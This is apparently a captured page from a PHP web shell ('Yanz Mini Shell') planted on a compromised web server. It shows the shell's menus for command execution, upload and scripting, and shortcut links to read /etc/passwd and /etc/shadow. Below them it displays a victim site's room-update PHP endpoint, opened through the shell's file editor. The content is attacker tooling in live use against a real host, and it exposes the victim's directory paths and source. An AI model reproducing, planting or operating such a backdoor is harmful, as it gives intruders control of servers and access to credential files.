Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
fullcalendar
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; error_log("Room update request received"); error_log(json_encode($_POST)); $errors = []; // Function to sanitize input function sanitizeInput($data) { return htmlspecialchars(trim($data), ENT_QUOTES, 'UTF-8'); } // Validate category ID if (empty($_POST['id'])) { echo json_encode(['status' => 'error', 'message' => "Room ID is required"]); exit; } $room_id = sanitizeInput($_POST['id']); // Fetch old image path $stmt = $pdo->prepare("SELECT * FROM tbl_room_type WHERE id = ?"); $stmt->execute([$room_id]); $oldImage = $stmt->fetchColumn(); $is_old_image_unlink = false; // Validate required fields $name = !empty($_POST['room_name']) ? sanitizeInput($_POST['room_name']) : ''; if (empty($name)) { $errors[] = "Field 'room_name' is required"; } $status = !empty($_POST['status']) ? sanitizeInput($_POST['status']) : 'active'; // Handle image upload // $uploadDir = '../../uploads/categories/'; // $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif']; // $imagePath = null; // if (!empty($_FILES['image']['name'])) { // $fileName = $_FILES['image']['name']; // $fileTmpName = $_FILES['image']['tmp_name']; // $fileSize = $_FILES['image']['size']; // $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); // if (!in_array($fileExt, $allowedExtensions)) { // $errors[] = "Invalid file type. Allowed types: jpg, jpeg, png, gif."; // } // if ($fileSize > 2 * 1024 * 1024) { // $errors[] = "File size exceeds 2MB."; // } // if (!is_dir($uploadDir)) { // mkdir($uploadDir, 0777, true); // } // $newFileName = uniqid('category_') . '.' . $fileExt; // $fullPath = $uploadDir . $newFileName; // if (!move_uploaded_file($fileTmpName, $fullPath)) { // $errors[] = "Failed to upload image."; // } else { // $is_old_image_unlink = true; // $imagePath = 'uploads/categories/' . $newFileName; // } // } if (!empty($errors)) { echo json_encode(['status' => 'error', 'message' => $errors]); exit; } // Prepare update fields $updateFields = ['name = :name', 'status = :status']; $bindData = [ 'name' => $name, 'status' => $status, 'id' => $room_id, ]; if ($imagePath !== null) { $updateFields[] = 'image = :image'; $bindData['image'] = $imagePath; } $updateSQL = implode(', ', $updateFields); try { $stmt = $pdo->prepare("UPDATE tbl_room_type SET $updateSQL WHERE id = :id"); if ($stmt->execute($bindData)) { // if (!empty($oldImage) && file_exists('../../' . $oldImage) && $is_old_image_unlink) { // unlink('../../' . $oldImage); // } echo json_encode(["status" => 'success', "message" => "Room updated successfully"]); } else { // if (!empty($imagePath) && file_exists('../../' . $imagePath)) { // unlink('../../' . $imagePath); // } echo json_encode(["status" => 'error', 'message' => 'Error executing update']); } } catch (PDOException $e) { error_log("Error updating room: " . $e->getMessage()); if (!empty($imagePath) && file_exists('../../' . $imagePath)) { unlink('../../' . $imagePath); } echo json_encode(["status" => 'error', 'message' => 'Database error: ' . $e->getMessage()]); } ?>
Free Space : 107696906240 Byte